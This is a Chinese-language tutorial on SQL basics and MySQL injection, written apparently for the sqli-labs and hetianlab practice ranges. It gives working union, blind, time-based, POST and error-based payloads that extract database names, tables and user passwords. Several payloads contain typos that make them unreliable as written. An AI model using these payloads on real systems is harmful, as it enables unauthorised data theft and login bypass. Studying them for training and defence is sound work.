SQL简介
数据库简介
- 数据库
用来存放数据的仓库
SQL是一种数据库查询和程序设计语言。用于存取数据以及查询、更新和管理关系数据库系统。
常见的SQL数据库有MySQL,SQL server,Oracle、Sybase、db2…不同的数据库所使用的SQL语句也不一样。
- MySQL数据库结构
数据库中包含表,表是由列组成,表的数据存储方式是按行存储。
SQL语句
- SELECT 语句
用于从表中选取数据。结果被存储在一个结果表中(称为结果集)。
SELECT 列名 FROM 表名
SELECT * FROM 表名
- INSERT INTO 语句
用于向表格中插入新的行。
INSERT INTO 表名称 VALUES (值1, 值2,…)
INSERT INTO table_name (列1, 列2, ) VALUES (值1, 值2,…)
- DELETE 语句
用于删除表中的行。
DELETE FROM 表名称 WHERE 列名称 = 值
drop table table_name
- Update 语句
用于修改表中的数据。
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
- Order by 语句
用于对结果集进行排序。
用于根据指定的列对结果集进行排序。
默认按照升序对记录进行排序;按照降序对记录排序,使用DESC关键字;order by 排序列数大于当前查询的列数时就会报错;sql注入利用这个特性来判断列数以及显示位。
- Where 语句
有条件地从表中选取数据。
SELECT 列名称 FROM 表名称 WHERE 列 运算符 值
AND 和 OR 运算符
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。
-
Limit 控制输出
-
MySQL注释符
-
注释符可以替换空格
-
内联注入
/*!/*!*/ /**/在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行
-
单行注释符后面加换行也是可以执行的
/**/ # --
-
MySQL基础
-
数据库连接
# 格式 mysql -u 用户名 -p 密码 -h 主机地址 mysql –uroot -proot -h 127.0.0.1
-
列出当前 mysql 的相关状态信息
show status;
-
显示数据库
show databases;
-
打开数据库
show databases;
-
显示数据表
show tables;
-
显示表结构
# 格式:describe 数据表名; describe user; # 格式:show columns from 数据表名; show columns from user;
-
显示表创建过程
# 格式:show create table 表名; show create table user;
-
清空数据表
# 格式:delete from 数据表名; delete from test01; # 格式:truncate table 数据表名; truncate table test01;
-
删除数据表
# 格式:drop table 数据表; drop table test01;
-
删除数据库
# 格式:drop database 数据库名; drop database test;
-
退出数据库连接
exit
MySQL系统表
- information_schema
在 MySQL中 ,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
-SCHEMATA 表:提供了当前mysql实例中所有数据库的信息。
show databases; 的结果取之此表。
-TABLES 表:提供了关于数据库中的表的信息。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。
show tables from schemaname; (schemaname为指定数据库名)的结果取之此表。
-COLUMNS 表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
show columns from schemaname.tablename; (schemaname为指定数据库名,tablename为指定数据库下的数据表名)的结果取之此表。
SQL注入简介
SQL注入原理
- SQL注入
利用现有应用程序,将恶意的SQL命令注入到程序后台并在数据库引擎执行的能力。
SQL注入漏洞是由于WEB应用程序对用户输入的数据合法性判断不严格导致。
攻击者把SQL命令语句作为输入被服务器SQL解释器正确解析执行,数据库把查询到的结果返回给服务器,然后呈现给攻击者,攻击者由此获得数据库内的数据信息。
- 一次正常的HTTP请求分析
- SQL注入过程分析
SQL注入危害
SQL注入是危害WEB安全的主要攻击手段,存在SQL注入攻击的网站一但被攻击成功后,产生的后果将有可能是毁灭性及不可恢复的。
比如:
- 获取敏感数据:获取网站管理员帐号、密码等。
- 绕过登录验证:使用万能密码登录网站后台等。
- 文件系统操作:列目录,读取、写入文件等。
- 注册表操作:读取、写入、删除注册表等。
- 执行系统命令:远程执行命令。
……
SQL注入判断
根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。
SQL注入的分类
- 按参数类型分类:
- 数字型
- 字符型
- 搜索型
- 按数据库返回结果分类:
- 回显注入
- 报错注入
- 盲注
- 基于布尔的盲注
- 基于时间的盲注
- 按注入点位置分类:
-
GET注入
-
POST注入
-
Cookie注入
-
Header注入
……
按参数类型分类
参数类型主要有两种:数字型、字符型。
在SQL查询语句中,数据库查询类型有以下三种:数字型、字符型、搜索型。
注意:%20为空格 ;%22为**"** ;%23为**#** ;%27为 ’
- 数字型
SQL= “select name from users where id=1” 为典型的数字型注入
这种类型的注入参数为数字,在 users 表中查询用户输入的 id 值相对应的 name 的值。
and逻辑测试:
and 1=1 sql语句: select name from users where id=1 and 1=1
and 1=2 sql语句: select name from users where id=1 and 1=2
通过比较页面的变化判断输入是否被带入数据库执行。
单引号测试:
’ sql语句: select name from users where id=1’
构造sql语法错误,来判断输入是否被执行。
- 字符型
SQL="select name from users where id=‘1’ "
字符型与数字型的不同:注入参数被引号包裹。
构造参数传递:
1 and 1=1
SQL语句: select name from users where id=‘1 and 1=1’
1’ and ‘1’='1
SQL语句: select name from users where id=‘1’ and ‘1’=‘1’
1’ and 1=1 %23
SQL语句: select name from users where id=‘1’ and 1=1 #’
1’ and 1=2 %23
SQL语句: select name from users where id=‘1’ and 1=2 #’
判断方法:
id=1’ 、id=1" 构造sql语法错误,来判断输入是否被执行。
- 搜索型
SQL= "select * from users where name like ‘%tom%’ "
搜索型与字符型相比多了一对 %
1 and 1=1
SQL查询语句为:select * from users where id like ‘%1 and 1=1%’
这个输入显然会报错误。
1%'1 and ‘%1%’ = '%1
SQL查询语句:select * from users where name like ‘%tom%’ and ‘%1%’ = ‘%1%’
这里我们用 ‘% 来闭合 %’ ,如果存在漏洞,返回正常信息。
按数据库返回结果分类
-
回显注入
在注入点的当前页面中获取返回结果。
常用SQL注入测试代码:
1 or 1=1
1’ or ‘1=1
1’ or '1=1代码原理:利用逻辑运算符or 的运算原理,只要其中一个条件满足为真,则为真,而1=1恒等式恒为真,因此如果上面三个代码输入之后页面显示结果都为正常,则我们可以判断此页面存在SQL注入漏洞
-
报错注入
程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以通过构造一些报错语句从数据库返回并显示的错误信息中获取想要的结果。
在 SQLServer 中通常错误的查询会返回一些错误信息,在 mysql 中正常情况下是没有错误信息返回的,但可以通过其他的方式进行错误信息的提取。
-
盲注
由于程序后端限制数据库返回错误信息,因此查询错误或没有结果时是没有信息返回的,可以通过数据库的查询逻辑和延时函数来对注入的结果进行判断。
根据注入表现形式的不同,盲注又分为 Based boolean 和 Based time 两种类型。
Based boolean:基于布尔的盲注,其主要表现特征有:
- 一是无报错信息返回;
- 二是无论输入是正确还是错误,都只会显示两种情况(1 或 0)(ture 或 false);
- 三是在输入正确时,可通过输入 and 1=1 、 and 1=2 判断。
Based time:基于Boolean的盲注可以在页面上看到正确或错误的回显,但是基于time的盲注是看不到的。
判断:通过"时间"条件进行特定的输入,判断后台执行SQL语句的时间来判断是否存在盲注。
比如 m’ and sleep(5) # 语句,通过页面显示的时间来判断是否存在基于时间的盲注。
可以通过在mysql语句中使用if构造查询语句。
m’ and if ((substr((select database()),1,1))=‘a’,sleep(5),null) #
通过substr对查询到的database()结果截取第一位的值,判断其否等于a,如果等于则判断为真,执行sleep(5),如果不等于则判断为假,则null, 然后通过sleep(5)执行后的时间来确认所查询的值是否正确,遍历出所有的值。
按注入点位置分类
HTTP 定义了与服务器交互的不同方法,其中最基本的方法就是 GET 和 POST 。
GET 方式在客户端通过 URL 提交数据,数据在 URL 中可以看到;
POST 方式,数据放置在 Body 内提交,数据在 URL 中看不到。
-
GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。
http://test.com/news.php?id=1
-
POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
-
Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
-
Header 注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。
Cookie 注入其实应该也是算 Header 注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
SQL注入利用
GET显错注入
实验:http://hetianlab.com/expc.do?ec=ECID172.19.104.182014081415154700001
GET显错注入流程
01、获取字段数 order by x
02、获取显示位 union select 1,2,3,4……
03、获取数据库信息 version(),user(),@@datadir
04、获取当前数据库 database(), schema()
05、获取所有数据库
06、获取数据库表
07、获取所有字段
08、获取数据
前置知识
逻辑运算符:and、or、≠
and:并且,前后两条语句必须全为真,才为真,否则为假
1=1 and 2=2 真
1=1 and 1=2 假
or:或者,前后两条语句一条为真,就为真。
≠:不等于
在sql语言中,and优先级大于or
–+
注释符
limit 0,1 从你表中的第一个数据开始,只读取一个
order by 排序,判断字段数量,也就是表的列数
union select 联合查询,连接前面语句,起着合并查询的作用
group_concat 合并多行数据到一行
version() 当前数据库版本
database() 当前数据库
@@datadir 数据库数据路径
@@version_compile_os 操作系统版本
注入步骤
判断:id=1’ and 1=1 --+ id=-1’ or 1=1 --+
order by语句判断字段数量:(有几列)
id=1’ order by 3 --+
联合查询获取显示位:
id=-1’ union select 1,2,3 --+
获取当前数据库信息:
id=-1’ union select 1,(select database()),3 --+
获取所有数据库:
id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata --+
获取当前数据库表名:
id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
获取users表所有字段:
id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+获取security.users表所有字段
id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --+
获取security.users表所有字段内容:
id=-1’ union select 1,username,password from users --+
注入例子
sqli-labs 靶场 Less-1
-
判断 SQL注入
’ " \
单引号报错,双引号不报错
-
判断注入类型
数字型:
1 and 1=1
1 and 1=2
字符型
1’ and ‘1’='1
1’ and 1=1-- -
1’ and 1=2-- -
http://127.0.0.1/sqlilabs/Less-1/?id=1’ and ‘1’ ='1
http://127.0.0.1/sqlilabs/Less-1/?id=1’ and ‘1’ ='2
-
获取字段数
1’ order by 3 --+ 正常
1’ order by 4 --+ 报错 -
获取显示位
union select :联合查询,连接前后两条语句,合并查询的作用
id=-1’ union select 1,2,3 --+
-
获取数据库信息
version()、user()、@@datadir
-1’ union select 1, version(),3 --+
-1’ union select 1, @@datadir,3 --+
-
获取当前数据库
-1’ union select 1,database(),3 --+
-
获取所有数据库
-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata --+
-
获取数据库表
-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
-
获取表中所有字段
-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ table_schema=database() --+
-
获取数据
-1’ union select 1,username,password from users limit 0,1 --+
-1’ union select 1,group_concat(username),3 from users --+
concat、concat_ws、group_concat 区别
- concat 用法
- 功能:将多个字符串连接成一个字符串。
- 语法: concat(str1, str2, )
- concat_ws 用法
- 功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就是concat with separator)
- 语法: concat_ws(separator, str1, str2, )
- group_concat 用法
- 功能:将 group by 产生的同一个分组中的值连接起来,返回一个字符串结果。
- 语法: group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )
GET盲注
GET盲注基本流程
01、获取当前数据库长度
02、获取当前数据库名
03、获取当前数据库表总数
04、获取当前数据库表的长度
05、获取当前数据库表名
06、获取当前数据库表的字段总数
07、获取当前数据库表的字段第N个长度
08、获取当前数据库表的字段第N个字段名
09、获取当前数据库表的字段内容长度
10、获取当前数据库表的字段内容
前置知识
mid()、substr():截取字符串
ascii()、ord():返回字段的ascll码值
select mid(database(),1,1)
截取结果中的值,从第一个字符开始,截取1个字符。
select substr(database(),1,1)
截取结果中的值,从第一个字符开始,截取1个字符。
select ascii(substr(database(),1,1));
将截取出来的字符,转换成ASCII码,以便于后面做运算。
select ascii(substr(database(),1,1))>97;
结果为1或者0,也就是true or false
select ord(‘hello’);
返回字符串第一个字符的 ASCII 值。
left(arg,length):
返回arg最左边的length个字符串
right(arg,length):
返回arg最右边的length个字符串
select length()
返回文本字段中值的长度。
select count()
返回匹配指定条件的行数。
注入步骤
判断:id=1’ and 1=1 --+
id=1’ and 1=2 --+
获取当前数据库长度:
id=1’ and length(database())=8 --+
获取当前数据库版本:
id=1’ and left(version(),6)=‘5.5.53’ --+
获取当前数据库名:
当前数据库第一个字符: id=1’ and ORD(mid(database(),1,1))=115 --+ s
( ascii(substr(database(),1,1))=115 )
( left(database(),1)=‘s’ )
当前数据库第二个字符: id=1’ and ORD(mid(database(),2,1))=101 + e
( ascii(substr(database(),2,1))=101 )
( left(database(),2)=‘se’ )
……
得到当前数据库名:security
获取当前数据库表总数:
id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
获取当前数据库表长度:
第一个数据库表长度:
id=1‘ and (select length(table_name) from information_schema.tables where table_scchema=database() limit 0,1)=6 --+
第二个数据库表长度:
id=1’ and (select length(table_name) from information_schema.tables where table_scchema=database() limit 1,1)=8 --+
……
得到四个数据库表得长度分别为:6,8,7,5
获取当前数据库第一个表的第一个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
( id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’ + )
获取当前数据库第一个表的第二个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+
( id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)=‘em’ + )
……
获取当前数据库第二个表的第一个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+
获取当前数据库第二个表的第二个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=114 --+
……得到所有表名:emails,referers,uagents,users
获取第一个表得字段总数:
id=1’ and (select count(column_name) from information_schema.cloumns where table_name=‘emails’ )=2 --+
获取第二个表得字段总数:
id=1’ and (select count(column_name) from information_schema.cloumns where table_name=‘referers’ )=3 --+
……
得到四个数据表中字段数分别为:2,3,0,3
获取第一个表的第一个字段名:id
id=1’ and ascii(mid(select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105 --+id=1’ and asci(mid(select column_name from information_schema.columnswhere table_name=‘emails’ limit 0,1),1,1))=100 --+
……
依次类推,可得到所有表的所有字段
获取emails表字段内容长度:
concat 拼接内容为一个字符串
id=1’ and (select length(concat(id,“-”,email_id)) from emails limit 0,1)=18 --+
id=1’ and (select length(concat(id,“-”,email_id)) from emails limit 1,1)=18 --+
获取emails表第一列字段内容:
id=1’ and ascii(mid((select concat(id,“-”,email_id) from emails limit 0,1),1,1))=49 --+
……
获取emails表第二列字段内容:
id=1’ and ascii(mid((select concat(id,“-”,email_id) from emails limit 1,1),1,1))=50 --+
……
POST显错注入
POST 注入跟 GET 注入差不多,区别在于 GET 注入的注入位置在 URL 中,而 POST 注入的注入位置在 POST 请求包中
常见漏洞位置在注册,登陆等通过 POST 传输数据的地方
实验:http://hetianlab.com/expc.do?ec=ECID172.19.104.182014081415195000001
判断:单引号 ’
双引号 "
输出所有数据:1’ or 1=1 #
order by语句判断字段数量:
1’ order by 2 #
联合查询:
1’ union select 1,2 #
获取当前数据库:
1’ union select database(),version() #
获取所有数据库:
1’ union select group_concat(schema_name),2 from information_schema.schemata #
获取当前数据库表名:
1’ union select group_concat(table_name),2 from information_schema.tables where table_schema=‘security’ #
获取users表所有字段:
1’ union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’ #
获取security.users表所有字段
1’ union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’ and table_schema='security‘ #
获取security.users表所有字段内容:
1‘ union select username,password from users #
POST盲注
跟GET盲注差别不大,注入流程及方法是一样的
实验:http://hetianlab.com/expc.do?ec=ECID172.19.104.182014081415203100001
判断:
’
"
1’ or 1=1 #
1’ or 1=2 #
获取当前数据库长度: 1’ or length(database())=8 #
获取当前数据库版本: 1’ or left(version(),6)=‘5.5.53’ #
获取当前数据库名:
当前数据库第一个字符: 1’ or ORD(mid(database(),1,1))=115 # s
( ascii(substr(database(),1,1))=115 #)
( left(database(),1)=‘s’ )
当前数据库第二个字符: 1’ or ORD(mid(database(),2,1))=101 # e
( ascii(substr(database(),2,1))=115 #)
( left(database(),2)=‘se’ #)
……
得到当前数据库名:security
报错注入
报错注入原理
通过函数报错获取信息:使用一些指定的函数来制造报错信息,从而获取报错信息中特定的信息
前提:后台没有屏蔽数据库报错信息,发生错误时会输出错误信息在前端页面
常用的报错函数:updatexml()、extractvalue()、floor
使用函数报错获取信息:select、insert、update、delete
- updatexml() 函数、 extractvalue() 函数
介绍:是mysql对xml文档数据进行查询和修改的XPATH函数
作用:改变(查找并替换)xml文档中符合条件的节点的值
语法:
updatexml(xml_document,xpath_string,new_value)
extractvalue(xml_document,xpath_string)
xml_document:string格式,xml文档对象的名称
xpath_string:xpath格式的字符串
new_value:string格式,替换查找到的符合条件的值
Xpath定位必须有效,否则会有错误
Select获取信息
updatexml()函数:
select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
0x7e:~的ascii码
select * from users where id=1 and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1));
extractvalue()函数:
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()))));
- floor() 函数
mysql用于取整数的函数
floor报错函数,以下三个缺一不可
rand():结果不可以作为order by、group by的条件字段
count(*):计算所有行数,不忽略空值(null)
group by:根据字段分组
例子:select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
floor报错产生的条件: (自定义数据库的一张表)
select count(*) ,floor(rand(0)*2)x from security.users group by x;
x是floor(rand(0)*2)的别名
报错结果entry后面的值1是根据mysql报错原理决定
报错位置是在floor(rand(0)*2)
思路:在报错位置处,用concat()拼接我们想要的语句,产生报错即可输出我们想要的结果。
过程分析:首先我们来看下这个sql查询语句:
select ‘a’,concat(1,floor(rand(0)*2))x from security.users group by x;
加上查询数据库的语句:
select ‘a’,concat(database(),floor(rand(0)*2))x from security.users group by x;
select count(*),concat(database(),floor(rand(0)*2))x from security.users group by x;
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.schemata group by x;
Operand should contain 1 column(s)报错
因为这里select语句构建的是一个结果表,而and比较是需要一个布尔值,0或非零的值。
因此我们可以嵌套一个基于前面结果表的一个select查询语句,而这个select的值是非零数字:
select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from
information_schema.schemata group by x)a;
十大报错注入函数
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));